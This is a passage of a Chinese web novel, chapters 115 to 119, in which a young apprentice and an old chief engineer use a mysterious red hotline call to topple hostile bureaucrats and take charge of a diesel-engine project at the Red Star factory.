他向前踏了一步,目光扫过那些完美的零件,声音里终于带上了一丝难以言喻的锋芒。 “我们之所以要用这种最笨、最直接、甚至最违纪的方式,把这些‘证物’粗暴地送到您的面前,不是因为我们想当什么个人英雄。” “而是因为,我们相信组织的眼光,相信领导的判断力。” “我们只是想让您,亲眼看一看,亲手摸一摸,那些被某些人定义为‘废铜烂铁’的东西,到底是什么。” “现在,您看到了。” 路承舟抬起头,直视着张援朝那双因为内心剧烈波动而显得有些混乱的眼睛,一字一顿地问道:“那么,张局长,您能告诉我,这” 他伸手,轻轻拂过那根光洁如镜的曲轴。 “究竟,何为废铁?” 话音落下的瞬间,办公室里那台红色的、专线电话,毫无征兆地,发出了尖锐而急促的铃声。 那铃声,仿佛一道惊雷,劈开了这间办公室里所有纠缠的、紧张的、一触即发的气氛。 张援朝浑身剧震,看向那部电话的眼神,充满了惊疑与不安。 他知道,这部电话响起,意味着什么。 第115章 红色的电话 尖锐的铃声,如同一根烧红的钢针,瞬间刺穿了办公室里那层由权力、质问与钢铁证言交织而成的、几近凝固的空气。 这声音,与另一部普通电话机温和的“铃铃”声截然不同。 它急促,霸道,充满了不容置疑的命令感,仿佛来自一个截然不同的、更高维度的世界。 在场的所有人,除了路承舟,都像是被这突如其来的声音扼住了喉咙。 江建国眼中的火焰凝固了。 马恒那张惨白的脸,因为这新的惊吓而浮现出一种滑稽的痉挛。 就连那几个抬着箱子的工人,都下意识地屏住了呼吸,大气不敢出一口。 真正的风暴,在张援朝的心中引爆。 他的整个身体都僵住了,那双因为愤怒和惊疑而显得混乱的眼睛,此刻死死地钉在那部红色的电话机上,仿佛看见了某种不可思议的凶兆。 他的大脑,在一瞬间甚至出现了短暂的空白。 他比任何人都清楚这部电话的份量。 它不是财富的象征,也不是地位的点缀。 它是中央部委与省核心部门为了确保最重要、最紧急的指令能够无障碍下达,而架设的生命线。 它上一次响起,是在几年前那场波及全国的抗洪抢险中,为了紧急调度全省的工业产能。 这部电话,代表着天。 而现在,天,塌下来了。 它为什么会响? 它为什么会在这个节骨眼上,在这个年轻人刚刚问出那个诛心问题的瞬间,如此精准地响起? 一万个疑问,如同脱缰的野马,在他脑海中疯狂冲撞。 然而,那持续不断的、催命般的铃声,却不给他任何思考的余地。 在绝对的权力面前,个人的权谋与城府,渺小得如同尘埃。 张援朝几乎是本能地,一个箭步冲回了办公桌后。 他伸出手,那只刚刚还因紧握而青筋暴起的手,此刻却带着一丝不易察觉的颤抖。 他深吸一口气,用尽全身力气稳住心神,然后,以一种近乎于朝圣的姿态,无比郑重地,拿起了那沉重的听筒。 “喂,我是张援朝。” 他的声音,在刻意的镇定之下,依然透着一丝无法掩饰的紧绷。 办公室里,寂静得能听到每个人自己的心跳声。 所有人的目光,都聚焦在张援朝那张表情急剧变化的脸上。 电话那头,似乎只说了一句话。 张援朝的身体,猛地一震。 他那刚刚还挺得笔直的腰杆,瞬间塌陷了下去,整个人仿佛被抽走了脊梁骨,重重地跌坐回宽大的皮质转椅里。 他的脸色,在短短几秒钟内,由铁青转为煞白,再由煞白转为一种混杂着恐惧与迷茫的灰败。 “是……是!首长!” 他的嘴唇哆嗦着,每一个字都像是从喉咙深处挤出来的,“我……我明白!情况……情况我正在了解!” 他一边说着,一边下意识地抬起头,目光越过红木办公桌,越过那些闪耀着金属光泽的“证物”,最终,如同一支失控的箭,死死地钉在了路承舟的身上。 那个眼神,变了。 如果说之前的审视是居高临下的轻蔑,是面对挑战的愤怒,那么此刻,这个眼神里,只剩下一种东西无法理解的、深入骨髓的惊骇。 “是,他……他们就在我办公室。” 张援朝的声音变得愈发干涩,“红星厂的总工程师江建国,还有一个……学徒工,叫路承舟。” 当“路承舟”三个字从他口中说出时,他清楚地看到,对面那个年轻人,连眼皮都没有多眨一下,仿佛自己的名字被电话那头的“首长”直接点出,是一件再正常不过的事情。 这种平静,让张援朝心中最后一道防线,彻底崩溃了。 “好的,好的!我立刻向您汇报!请您……请您指示!” 张援朝的姿态,已经卑微到了尘埃里。 他紧紧攥着电话,额头上渗出细密的冷汗,后背的衬衫早已被冷汗彻底浸透。 电话那头的声音,似乎并不响亮,但透过听筒,依旧有零星的、威严的词句,断断续续地飘散在死寂的空气中。 “……柴油机……高精度……军用标准……” “……样品……立刻封存……最高密级……” “……任何人……不得阻拦……” 每一个飘出的词汇,都像是一记无形的耳光,狠狠地、反复地抽在张援朝的脸上。 终于,通话结束了。 张援朝没有立刻放下电话,他只是保持着那个姿势,呆呆地举着听筒,仿佛被抽走了灵魂。 办公室里的气氛,已经发生了天翻地覆的变化。 马恒缩在墙角,身体抖得像秋风中的一片落叶。 他不是傻子,他听懂了那些零星的词汇。 他终于意识到,自己今天跟着来,不是为了看一场好戏,而是亲手将一根绞索,套在了自己和主子王德发的脖子上。 江建国站在那里,胸膛剧烈地起伏。 他看着路承舟,眼神中除了激动与自豪,更多了一种深深的、近乎于敬畏的困惑。 他本以为,这只是一场技术的豪赌。 他现在才明白,这个年轻人从一开始,就在下一盘他根本看不懂的棋。 “啪嗒。” 听筒,从张援朝无力的手中滑落,重重地砸在电话机上,发出一声刺耳的巨响。 他缓缓地抬起头,那张灰败的脸上,再也没有了半分官威。 他看着路承舟,就像在看一个披着人皮的怪物。 他张了张嘴,喉结艰难地滚动了几下,似乎想问什么,却最终什么也问不出口。 他该问什么? 问你是谁? 问你为什么能让省军区的专线电话,直接打到我的办公室? 问你究竟是怎么把一场地方工厂的内部违纪,变成了一次惊动了军方高层的技术献礼? 他不敢问。 他怕问出的每一个字,都会让自己陷入更深的、万劫不复的深渊。 漫长的、令人窒息的沉默之后,张援朝终于找回了自己的声音。 那声音沙哑、干涩,充满了挫败与无力。 他没有再看路承舟,而是对着那几个早已吓傻的工人,挥了挥手。 “把……把箱子都盖好。” 他停顿了一下,似乎在斟酌用词,最后,他用一种近乎于梦呓的语气,补充了一句。 “小心点,别……别碰坏了。” 此言一出,马恒的身体,猛地一晃,几乎瘫倒在地。 从“废铜烂铁”,到“像样的东西”,再到此刻这句小心翼翼的“别碰坏了”。 这不仅仅是措辞的改变。 这是权力的天平,在这间办公室里,发生了一次惊心动魄的、不可逆转的倾斜。 而倾斜的源头,自始至终,都只是那个背着帆布包,神色平静的年轻人。 路承舟从头到尾没有再多说一句话。 他只是静静地看着这一切发生,仿佛一个冷眼旁观的导演,欣赏着自己早已写好的剧本,被演员们分毫不差地演绎出来。 当所有的箱子被重新盖好,张援朝终于站起身。 他绕过办公桌,走到路承舟和江建国的面前,脸上挤出了一个比哭还难看的笑容。 “江总工,路……同志。” 他对路承舟的称呼,在迟疑了半秒后,从“那个学徒工”变成了一个无比郑重的“同志”。 “刚才,是一场误会。” 张援朝的声音里,充满了艰涩,“你们,是为国家工业立下大功的功臣!我代表市工业局,向你们表示最崇高的敬意和……最深刻的歉意。” 说着,他对着二人,深深地,弯下了腰。 这一弯腰,不仅是他个人尊严的崩塌。 更是旧有的、僵化的权力体系,在新生代技术力量面前,第一次低下了它那曾经不可一世的、高傲的头颅。 第116章 局长之腰 时间,仿佛在这间宽大的办公室里被煮成了一锅粘稠的胶水。 张援朝的腰弯了下去。 那根曾经象征着市工业体系无上权威的脊梁,此刻弯折成一个屈辱的、近乎九十度的角。 他花白稀疏的头发几乎要触碰到自己那双锃亮的皮鞋,整个办公室的空气仿佛都被这一躬抽干,只剩下令人窒息的真空。 江建国浑身剧震,这位一辈子都活得谨小慎微的老工程师,此刻的惊骇甚至超过了刚才得知零件零误差的狂喜。 他几乎是本能地就想上前去搀扶,口中结结巴巴地喊着:“使不得,张局长,这……这使不得啊!” 然而,一只手,坚定而有力地按住了他的肩膀。 是路承舟。 年轻人没有动,甚至没有去看那个深深弯着腰的局长。 他的目光平静地扫过办公室里的每一个人,将他们脸上那混杂着惊恐、迷茫、呆滞的表情尽收眼底。 马恒的脸已经失去了所有血色,变成一张浸透了冷汗的、惨白的纸。 他靠着墙壁,身体缓缓滑落,如果不是墙角的支撑,他恐怕早已瘫软在地。 他看着张援朝的背影,眼神里充满了末日降临般的绝望。 他知道,这根弯下去的腰,砸断的不仅仅是张援朝的威严,更是他马恒和他背后王德发的所有生路。 那几个抬箱子的工人,则像是被施了定身术的木偶,一个个僵在原地,手里还维持着盖箱子的姿势,大脑一片空白。 眼前发生的这一幕,已经彻底超出了他们最狂野的想象力。 路承舟的手稳稳地按着江建国,阻止了他的动作。 他让这一躬,结结实实地弯了足有十秒钟。 十秒,足以让这份屈辱,深深烙印在在场所有人的灵魂深处。 “张局长,您不必如此。” 直到那令人窒息的沉默即将把人逼疯时,路承舟才终于开口。 他的声音一如既往地平静,没有得胜后的骄狂,也没有丝毫的意外,仿佛这一切本就该如此发生。 他轻轻上前一步,站在了张援朝的侧前方。 这个位置很微妙,既没有完全接受对方的大礼,也没有表现出任何的抗拒。 “这一躬,您不该向我鞠。您应该向红星厂那些为了技术革新,彻夜不眠奋战在一线的老师傅们鞠躬。您更应该向这些不会说谎的零件鞠躬。” 他的声音清晰地回荡在办公室里,每一个字都像是一记小锤,不轻不重地敲打着张援朝那早已崩溃的神经。 张援朝的身体猛地一颤,他缓缓地、无比艰难地直起了腰。 再次抬起头时,他那张脸上早已不见了半分官威,只剩下一种劫后余生般的苍白和刻意堆砌起来的、无比热忱的笑容。 “对,对!路同志说得对!” 他连连点头,姿态放得低到了尘埃里,“是我官僚了,是我糊涂了!我为我之前的错误言论,向红星厂的全体技术功臣,致以最深刻的检讨!” 他转过身,目光如刀,狠狠地剜向墙角那个几乎要缩成一团的马恒。 那股刚刚在路承舟面前被碾碎的怒火与威严,此刻找到了一个完美的宣泄口。 “马恒!” 张援朝的声音陡然拔高,如同平地惊雷,“你身为保卫科长,不思保卫国家财产,反而颠倒黑白,诬陷忠良!是谁给你的胆子,让你把我们工业战线的英雄,当成犯人一样押到我这里来的?” 马恒“噗通”一声,双腿一软,彻底瘫坐在了地上。 他嘴唇哆嗦着,面如死灰,一个字也说不出来。 “你这种害群之马,简直就是我们干部队伍里的耻辱!” 张援朝的斥责还在继续,他这是在演,演给路承舟看,更是演给电话那头那位看不见的大人物听,“来人!” 办公室的门被猛地推开,两名一直守在外面的干事冲了进来。 “把这个目无组织、肆意妄为的马恒,给我立刻关到禁闭室去!停职反省!彻查到底!我倒要看看,他背后还有谁在搞鬼!” 这番话,字字诛心! 马恒的眼中,最后一点光亮也彻底熄灭了。 他知道,自己完了。 他不是被路承舟打倒的,而是被张援朝当作弃子,毫不留情地扔出去,用来斩断关系、平息风暴的。 他被两名干事狼狈地拖了出去,那绝望的、如同死狗般的眼神,在离开办公室前,最后看了一眼路承舟。 办公室里,少了一个碍眼的人,气氛顿时“和谐”了许多。 张援朝快步走到路承舟面前,脸上的笑容愈发真诚,甚至带着几分讨好。 “路同志,江总工,这次的事情,完全是一场由小人引起的恶性误会。你们放心,我张援朝,一定会给你们一个交代,给红星厂一个交代!” 他拍着胸脯,信誓旦旦地保证,“至于这些……这些国之重器!” 他转身看向那些木箱,眼神里充满了前所未有的炽热。 “我会立刻安排局里最好的车,亲自护送你们和这些宝贝回厂!并且,我会马上成立一个专项小组,由我亲自担任组长,全力保障后续的研发工作!要人给人,要钱给钱,绝不含糊!” 这番表态,可谓是天翻地覆。 从阶下囚到座上宾,从非法生产到国之重器,从停职审查到局长亲自挂帅。 这一切的转变,只用了不到一个小时。 江建国站在一旁,看着眼前这戏剧性的一幕,大脑依旧有些恍惚。 他感觉自己像是在做一场光怪陆离的梦。 路承舟却只是微微颔首,神色平静地接受了这一切。 “那就多谢张局长了。” 他的语气不卑不亢,仿佛这一切,都只是拿回了本就属于他们的东西。 …… 黑色的伏尔加轿车,再一次驶出了市工业局的大院。 与来时不同,这一次,开车的是局长张援朝的专职司机。 车队的前后,甚至还跟了两辆吉普车,几名保卫干事荷枪实弹,一路护航。 那些装着零件的木箱,被小心翼翼地固定在其中一辆吉普车上,享受着比人还要高级别的安保待遇。 路承舟和江建国,则坐在了那辆宽敞舒适的伏尔加后座。 车厢内,弥漫着一股淡淡的、高级香烟的味道。 江建国看着窗外飞速倒退的街景,沉默了许久,终于还是忍不住,转头看向身旁那个从始至终都平静得不像话的年轻人。 “承舟……” 他的声音有些干涩,“那个电话……究竟是?” 他问出了心中最大的疑惑。 那些零件再精密,也只是技术层面的胜利。 真正一锤定音,让张援朝彻底崩盘的,是那通神秘的红色电话。 路承舟的目光从窗外收回,脸上露出一丝淡淡的笑意。 “江总工,您觉得,一份能让柴油机性能提升百分之三十,并且所有核心部件都能做到零误差的工艺图纸,最应该送到什么地方去?” 江建国微微一怔,随即瞳孔骤然收缩! 他想到了一个可能性,一个让他心脏都为之停跳的可能性! “我只是在寄给工业局的汇报材料之外,” 路承舟的声音很轻,却仿佛带着某种洞穿一切的力量,“顺便将另一份更详细的资料,寄往了一个更能看懂它价值的地方。” 他没有说得更具体,但江建国已经全明白了。 他看着路承舟那张年轻得过分的侧脸,心中掀起了滔天巨浪。 这个年轻人,从一开始就没把希望寄托在红星厂,甚至没寄托在市工业局。 他的棋盘,从一开始,就画在了所有人都看不到的、更高的地方。 黑色的伏尔加在城市的街道上平稳行驶,车头前方的红旗迎风招展。 远处,红星重工业总厂那标志性的、高耸的烟囱,已经出现在了地平线的尽头。 一场风暴,刚刚在市工业局平息。 而另一场更大的风暴,正等待着他们,在红星厂的上空,猛然降临。 第117章 厂门前的风暴 黑色的伏尔加轿车在午后的阳光下平稳行驶,车轮碾过柏油路面,发出低沉而催眠的嗡鸣。 车厢内,静得可怕。 江建国靠在柔软的后座上,身体却绷得像一根拉满的弓弦。 他侧着头,目光穿过光洁的车窗,看着那些飞速倒退的建筑与树木,眼神却空洞得没有焦距。 他的大脑,至今仍是一片混沌的、被巨大信息量反复冲刷过的滩涂。 从市工业局那间压抑的办公室,到此刻这辆代表着身份与特权的轿车,短短一个小时的经历,却比他过去六十年的人生加起来还要颠覆。 那个高高在上的张援朝,他那张倨傲冰冷的脸,是如何在一瞬间崩塌的? 那通红色的电话,又究竟蕴含着何等雷霆万钧的力量? 最让他感到心神巨震的,还是身旁这个年轻人。 江建国用眼角的余光,悄悄地、近乎于畏惧地,瞥了一眼路承舟。 年轻人正靠着另一侧的车窗,姿态放松,眼神平静地望着窗外,仿佛刚才那场足以决定无数人命运的惊天博弈,对他而言不过是一场寻常的午后散步。 他那张过分年轻的脸上,找不到一丝一毫的胜利喜悦,也没有半分的骄傲自满。 只有一种深不见底的平静。 江建国忽然明白了。 他与路承舟之间的差距,从来就不是年龄、技术或是资历。 那是一种维度的差距。 当他还拘泥于一张图纸、一台机床的得失时,路承舟的目光,早已穿透了红星厂的高墙,越过了工业局的门槛,落在了更高、更远、他甚至无法想象的棋盘之上。 那份寄出去的、多余的资料,不是后手,也不是奇兵。 那从一开始,就是路承舟为这场战争准备的终极审判。 “江总工,” 路承舟仿佛察觉到了他的注视,忽然开口,声音打破了车内的沉寂,“回去之后,车间里的人事,恐怕要您多费心了。” 江建国浑身一震,立刻坐直了身体,将所有纷乱的思绪强行压下。 他知道,路承舟这是在点拨他,战斗的上半场结束了,但更关键的下半场,才刚刚开始。 “我明白。” 江建国重重地点了点头,浑浊的眼中重新燃起了斗志,“那些阳奉阴违的,那些想看我们笑话的,我一个都不会放过!” 路承舟微微一笑,不再多言。 他知道,这位刚刚挺直了脊梁的老工程师,已经不再是过去那个只懂技术、畏惧权斗的老好人。 有些东西,一旦被唤醒,就再也不会沉睡。 车队的速度渐渐慢了下来。 前方,红星重工业总厂那标志性的、锈迹斑斑的大铁门,已经遥遥在望。 …… 红星厂的大门口,气氛诡异。 王德发背着手,站在门内,身后簇拥着七八个厂里的中层干部。 他挺着微凸的啤酒肚,脸上挂着一抹志得意满的、残忍的冷笑。 就在一个多小时前,他接到了马恒用工业局电话打回来的报喜电话。 电话里,马恒的声音充满了压抑不住的兴奋,告诉他张局长已经亲自坐镇,那两个不知天高地厚的家伙,此刻正像两条死狗一样在办公室里接受审判,下场绝对凄惨无比。 这个消息,让王德发压在心头的一块巨石,轰然落地。 他立刻召集了所有心腹,大张旗鼓地等在门口,就是要等那两个“罪人”被公安或者保卫干事押回来的时候,当着全厂工人的面,再狠狠地踏上一万只脚,让他们永世不得翻身! 他要杀鸡儆猴。 他要让所有人都看看,在这红星厂,谁,才是真正的天! 远处,传来了汽车引擎的轰鸣声。 “来了!” 一个干部眼尖,兴奋地喊道。 王德发的笑容愈发狰狞,他整理了一下自己的衣领,清了清嗓子,已经准备好了一套义正辞严的、宣判罪行的说辞。 所有人的目光,都投向了道路的尽头。 一辆车,两辆车,三辆车…… 一支由黑色伏尔加和两辆绿色吉普组成的车队,正浩浩荡荡地驶来。 王德发脸上的笑容,僵住了。 他身后的干部们,脸上的兴奋也瞬间凝固。 不对劲。 这阵仗不对劲! 押送犯人,怎么会用局长的座驾? 怎么还会有军用吉普护航? 所有人的脑子里,都冒出了一个巨大的、荒谬的问号。 在数百名闻讯赶来看热闹的工人那死一般寂静的注视下,车队稳稳地停在了工厂大门前。 王德发的心,开始不受控制地狂跳起来。 一种不祥的预感,如同冰冷的毒蛇,顺着他的脊椎疯狂向上攀爬。 后方吉普车的车门打开,几名荷枪实弹的保卫干事率先下车,他们动作矫健,神情肃穆,迅速在伏尔加轿车周围拉开了一道警戒线。 紧接着,一名穿着司机服、但气质沉稳的中年人,快步上前,亲自拉开了伏尔加的后车门。 一只脚,踏了出来。 是江建国。 老工程师的腰杆挺得笔直,他走下车,环视四周,那张饱经风霜的脸上,再无半分往日的怯懦与退让,只剩下一种浴火重生般的刚毅与威严。 王德发眼皮狂跳。 还没等他反应过来,另一道身影,也从车里从容不迫地走了出来。 路承舟。 他依旧背着那个半旧的帆布包,神色平静地扫了一眼门口那群早已呆若木鸡的厂领导,目光最终落在了王德发的脸上。 那眼神,淡漠,平静,却又带着一种足以洞穿人心的锋利。 轰! 围观的工人群体中,瞬间爆发出惊天动地的哗然之声! “回来了!江总工和路师傅回来了!” “我的天!这是怎么回事?不是说被抓走了吗?怎么是局长派车送回来的?” “你们看那阵仗!还有带枪的!这……这到底是去领罪还是去领功啊?” 议论声,惊叹声,难以置信的呼喊声,汇成了一股巨大的声浪,狠狠地冲击着王德发那早已摇摇欲坠的神经。 他的脸,由红转白,由白转青,嘴唇哆嗦着,大脑一片空白。 他无法理解眼前这超现实的一幕。 “你……你们……” 他指着路承舟,声音干涩得像是两张砂纸在摩擦,“怎么……怎么会……” 路承舟没有回答他。 那个为他们开门的司机,此刻走到了王德发的面前。 他上下打量了一眼这个肥头大耳的厂长,眼神里充满了不加掩饰的鄙夷与冷漠。 “你就是王德发?” 王德发下意识地点了点头。 司机从口袋里掏出了一张纸,看也未看,直接塞进了王德发的手里,那动作,像是在打发一个乞丐。 “张局长口谕。” 司机的声音不大,却清晰地传入了在场每一个人的耳中,瞬间压下了所有的嘈杂。 “第一,红星厂柴油机技术攻关项目,即刻起列为市工业系统最高优先级项目,由省军区直接督办。” “第二,即刻成立项目指挥部,由江建国总工程师与路承舟同志,共同担任总指挥,全权负责项目的一切技术、生产及人事安排。” “第三……” 司机顿了顿,冰冷的目光,如同利剑一般,死死地钉在了王德发那张毫无血色的脸上。 “勒令厂长王德发,即刻停职反省,就其压制技术革新、谎报生产进度、诬陷技术骨干等一系列严重问题,向市局纪委,写一份深刻的、不低于一万字的检查报告!” 话音落下的瞬间,王德发的身体,猛地一晃。 他手中的那张纸,飘然落地。 整个人,如同被抽走了骨头一般,直挺挺地,向后倒了下去。 第118章 清算之时 天地间,一片死寂。 王德发那肥硕的身体,如同一截被伐倒的枯木,直挺挺地向后倒去。 那声沉闷的“咚”响,仿佛是旧时代崩塌时敲响的第一声丧钟,狠狠砸在红星厂大门口的水泥地上,也砸在每一个人的心坎里。 时间,在这一刻被拉扯成了两个截然不同的维度。 对于围观的数百名工人而言,是极致的缓慢。 他们眼睁睁地看着那个平日里作威作福、不可一世的厂长,在一句冰冷的宣判后,如同被抽走了所有骨头般瘫倒。 那张由局长司机塞到他手里的纸,轻飘飘地落下,像一片宣告着他政治生命终结的苍白落叶。 而对于那些簇拥在王德发身后的干部们来说,时间则快得如同闪电。 上一秒,他们还是与厂长谈笑风生、准备分享胜利果实的功臣。 下一秒,天塌了。 那声沉闷的倒地声,像是一道惊雷在他们耳边炸响,将他们从权力的迷梦中惊醒,直接拖入了万劫不复的深渊。 “厂长!” “王厂长!” 几声惊慌失措的尖叫,终于刺破了那层凝固的空气。 几个反应过来的干部,连滚带爬地扑了过去,手忙脚乱地想要扶起那个已经不省人事的胖子。 然而他们的动作里,充满了无法掩饰的恐惧与惶然,仿佛他们扶起的不是一个昏倒的领导,而是一具预示着他们自己未来的冰冷尸体。 紧接着,死寂被彻底引爆。 人群,如同被投入了巨石的湖面,瞬间掀起了滔天巨浪! “倒了!王德发倒了!” “听见没?停职反省!还要写一万字的检查!这下彻底完了!” “活该!让他狗眼看人低!让他压着我们不给发奖金!” “路师傅牛逼!江总工威武!” 压抑已久的怨气与愤怒,在此刻化作了最原始、最直接的欢呼与呐喊。 那声音汇聚成一股洪流,冲刷着厂区里的每一个角落,宣告着一个时代的终结,与另一个时代的到来。 在这片混乱与喧嚣的中心,路承舟和江建国,却如同风暴眼般平静。 江建国环视着周围那一张张激动得通红的脸,听着那一声声发自肺腑的呐喊,他的眼眶湿润了。 他挺直了一辈子的技术脊梁,却在权力的倾轧下弯曲了半生。 直到今天,他才终于体会到,什么叫做真正的扬眉吐气。 他的目光,最终落在了身旁那个年轻人的身上。 路承舟没有看任何人,他的视线,越过了那些惊慌失措的干部,越过了地上那个狼狈不堪的王德发,精准地落在了人群中几个熟悉的面孔上。 那是钳工车间的老师傅,是昨夜与他一同奋战的兄弟。 他们的眼神,在空中交汇。 没有言语,却胜过千言万语。 那眼神里,有震惊,有狂喜,更有从此以后死心塌地的追随与信赖。 就在此时,那位来自市局的司机,那个亲手宣判了王德发死刑的男人,再次上前一步。 他看也未看地上那摊烂肉,只是用冰冷的目光扫视着那群六神无主的干部。 “你们几个,还愣着干什么?” 他的声音不大,却带着一股不容置疑的威严,“把王德发抬到医务室去。另外,立刻通知厂纪委,封存王德发办公室的所有文件,等待市局调查组的进驻!” 这番话,如同一盆冰水,兜头浇在了那群干部的天灵盖上。 封存文件! 调查组进驻! 每一个词,都像是一把重锤,将他们心中最后一点侥幸砸得粉碎。 他们知道,这已经不是简单的停职,这是一场彻头彻尾的政治清算! 王德发这棵大树倒了,他们这些树上的猢狲,一个也跑不掉! 几人面如死灰,再也不敢迟疑,七手八脚地抬起昏死的王德发,如同抬着一头待宰的肥猪,仓皇地向医务室的方向跑去。 随着旧势力的核心狼狈退场,现场的权力中心,出现了一个短暂的真空。 所有人的目光,无论是狂热的工人,还是残存的、瑟瑟发抖的干部,都不约而同地,聚焦到了路承舟的身上。 他们都在等待。 等待着这位新晋的、手握尚方宝剑的总指挥,下达他的第一道命令。 路承舟没有让他们等太久。 他向前走了两步,站到了人群的最前方。 他没有慷慨激昂的演说,也没有任何胜利者的姿态,只是用那平静却极具穿透力的声音,缓缓开口。 “感谢各位师傅的关心。” 他先是冲着工人们微微颔首,一句话,就将自己和他们拉到了同一个阵营。 然后,他话锋一转,目光扫向那两辆装载着“国之重器”的吉普车。 “但是,现在还不是庆祝的时候。” 他的声音沉稳下来,带着一种天然的号召力。 “昨夜参与攻关的所有同志,立刻回到三号车间集合!我们真正的战斗,才刚刚开始!” 他顿了顿,目光变得锐利如刀。 “其他人,立刻疏散!保卫科,拉起警戒线,从现在起,三号车间周边五十米,列为一级禁区!没有我和江总工的联合手令,任何人,不得靠近一步!” 没有一句废话,没有一丝犹豫。 第一道命令,是召集核心团队,明确下一步的目标。 第二道命令,是建立绝对的权威,掌控最重要的地盘。 这番话,让刚刚还沉浸在狂喜中的工人们瞬间冷静下来,他们从路承舟的身上,感受到了一种与王德发截然不同的气场。 那不是靠职位堆砌的官威,而是一种源于绝对自信与掌控力的、真正的领袖气质。 “是!” 人群中,不知是谁第一个吼出了声。 紧接着,山呼海啸般的应和声,响彻云霄! “是!” “遵命!路总指挥!” 昨夜那些奋战过的老师傅们,一个个挺起了胸膛,眼中闪烁着前所未有的光芒。 他们拨开人群,大步流星地,向着三号车间的方向汇集而去。 他们的脚步,坚定而有力,仿佛在踏响一个新时代的鼓点。 而那些原本属于王德发派系的保卫科干事,此刻早已吓破了胆。 他们看着路承舟那不容置疑的眼神,听着那雷霆万钧的命令,哪里还敢有半分怠慢,立刻屁滚尿流地跑去执行任务,动作比以往任何时候都要麻利。 权力的交接,就在这短短几分钟内,以一种最直接、最彻底的方式,完成了。 看着眼前这令行禁止的场面,那位市局司机眼中闪过一丝不易察觉的欣赏。 他走到路承舟身边,压低了声音,语气里带着前所未有的尊重。 “路同志,张局长的意思是,您和江总工需要什么支持,可以直接向他汇报。他会亲自为您扫平一切障碍。” 路承舟转过头,对他点了点头,脸上露出一丝微笑。 “替我谢谢张局长。” 他的目光,望向那座凝聚了他无数心血的三号车间,眼神深邃。 “也请你转告他,红星厂,从今天起,不会再让他失望了。” 第119章 第一把火 王德发倒下的那声闷响,为这场发生在红星厂大门口的权力风暴,画上了一个粗暴而彻底的句号。 喧嚣的人声仿佛被一只无形的手扼住,随即又以更加猛烈的方式爆发开来。 那是一种混杂着震惊、狂喜与不敢置信的声浪,冲刷着每一个人的耳膜。 旧日的王倒下了,新立的储君甚至没有多看他一眼。 路承舟的目光平静地扫过那些惊慌失措、作鸟兽散的干部,最终落在了人群前方,那些昨夜与他一同奋战的老师傅们脸上。 他们的眼中,激动与狂热交织,仿佛在见证一场神迹。 “走吧,回车间。” 他没有多余的废话,只说了这五个字,便转过身,向着三号车间的方向走去。 那一步,踏得不重,却仿佛踩在了时代更迭的鼓点上。 江建国紧随其后,他那佝偻了半生的背脊,此刻挺得像一杆饱经风霜的标枪。 随后,是钳工车间的刘师傅,是焊工组的张师傅,是一个又一个昨夜未眠的技术骨干。 他们自发地汇成一股人流,沉默而坚定地,跟随着那个年轻的背影。 人群如摩西眼前的红海,自动向两旁分开,让出一条通路。 所有人的目光,都聚焦在这支刚刚赢得了战争、正走向自己领地的队伍身上,眼神里充满了敬畏与好奇。 他们走得不快,但每一步都充满了无可动摇的力量感,仿佛不是在走向一座破旧的厂房,而是在步入一座即将举行加冕仪式的殿堂。 三号车间那扇沉重的铁门,被“吱呀”一声推开。 熟悉的机油与钢铁混合的气味扑面而来,阳光透过高窗上蒙尘的玻璃,投下一道道斑驳的光柱,空气中漂浮着无数细微的金色尘埃。 这里的一切陈设都没有变,但对于此刻踏入此地的每一个人而言,感觉却已天翻地覆。 这里不再是他们忍气吞声、被外行指挥的劳作之地。 从这一刻起,这里是他们的王国。 几十名核心技术工人,自发地围拢过来,将路承舟和江建国围在了中央那张最大的铸铁工作台旁。 所有人的脸上,都带着劫后余生的兴奋与熬夜过后的疲惫,但更多的,是一种前所未有的、昂扬的斗志。 “承舟……” 江建国看着这群兄弟,眼眶发热,声音有些哽咽,正想说些鼓舞士气的话。 路承舟却轻轻抬手,制止了他。 年轻人的目光扫过在场的每一个人,那平静的眼神有一种奇特的魔力,能瞬间让所有沸腾的情绪沉淀下来。 “各位师傅,庆祝的话,以后有的是时间说。” 他的声音清晰而沉稳,回荡在空旷的车间里,“我们赢了厂门口的仗,但那只是开始。现在,我们得打赢另一场仗,一场真正属于我们技术工人的仗。” 他伸出手指,轻轻敲了敲身旁那台作为“证物”被运回来的柴油机样机。 “这台样机,这些零件,是我们用手工、用经验、用不计成本的方式磨出来的艺术品。它们证明了我们的方案是可行的。” 路承舟的话锋陡然一转,变得锐利起来,“但是,艺术品,不能量产。我们的任务,不是造一台样机给领导看,而是要让成百上千台这种高性能的柴油机,从我们这条生产线上,源源不断地走下去!” 这番话,如同一盆冷水,让所有人的头脑瞬间清醒。 狂喜退去,严峻的现实浮现在眼前。 “路总指挥说得对!” 钳工组的刘师傅第一个站了出来,他那张布满皱纹的脸上写满了凝重,“就拿那根曲轴来说,我们几个老师傅轮班上阵,凭着几十年的手感,用特制的油石一点一点地磨,才勉强保证了那一根的零误差。可要是量产,这个最终精磨的工序,根本没法保证百分之百的合格率!这活儿,太吃经验,也太看运气了!” 他的话立刻引起了一片附和。 “没错,活塞环的内切角也是,全靠手工打磨,稍不留神就废了。” “还有高压油泵的柱塞偶件,那个配合间隙,差一丝一毫都不行,量产起来,废品率恐怕高得吓人!” 一个又一个技术难题被摆上了台面。 这些都是在昨夜那场近乎疯狂的豪赌中,被所有人的热情和专注强行掩盖过去的问题。 此刻,它们重新浮现,如同一座座大山,横亘在众人面前。 车间里的气氛,从刚才的狂热,迅速转为一种沉重的、面对挑战的寂静。 他们赢得了权力,却发现,真正的敌人,是技术本身。 然而,面对这足以让任何一个工厂技术科长都愁白了头的难题,路承舟的脸上,却没有丝毫的为难之色。 他只是静静地听着,等到所有人都说完了,才缓缓地点了点头。 “大家说的都对。依靠人的手感,永远无法实现真正的工业化量产。” 他环视众人,平静地说道,“所以,我们必须让机器,去拥有‘手感’。” 让机器拥有手感? 这是什么话? 在场的所有人,包括江建国在内,都愣住了。 路承舟没有过多解释。 他走到那台负责精磨曲轴的旧式外圆磨床前,那台机器的精度早已达不到现代化的要求,昨夜的成功,全凭刘师傅那双巧夺天工的手。 他弯下腰,仔细地审视着磨床的导轨、砂轮主轴和刀架,像是在欣赏一件艺术品。 片刻之后,他直起身,随手从旁边的工具箱里,捡起一根白色的划线粉笔。 在众人困惑不解的目光中,他蹲下身,就在那片还算干净的水泥地上,开始迅速地勾勒起来。 他的手腕稳定而有力,粉笔在他手中仿佛活了过来。 一条条精准的直线,一个个流畅的圆弧,迅速在地面上构成了一个复杂的、却又充满了某种奇特机械美感的立体结构图。 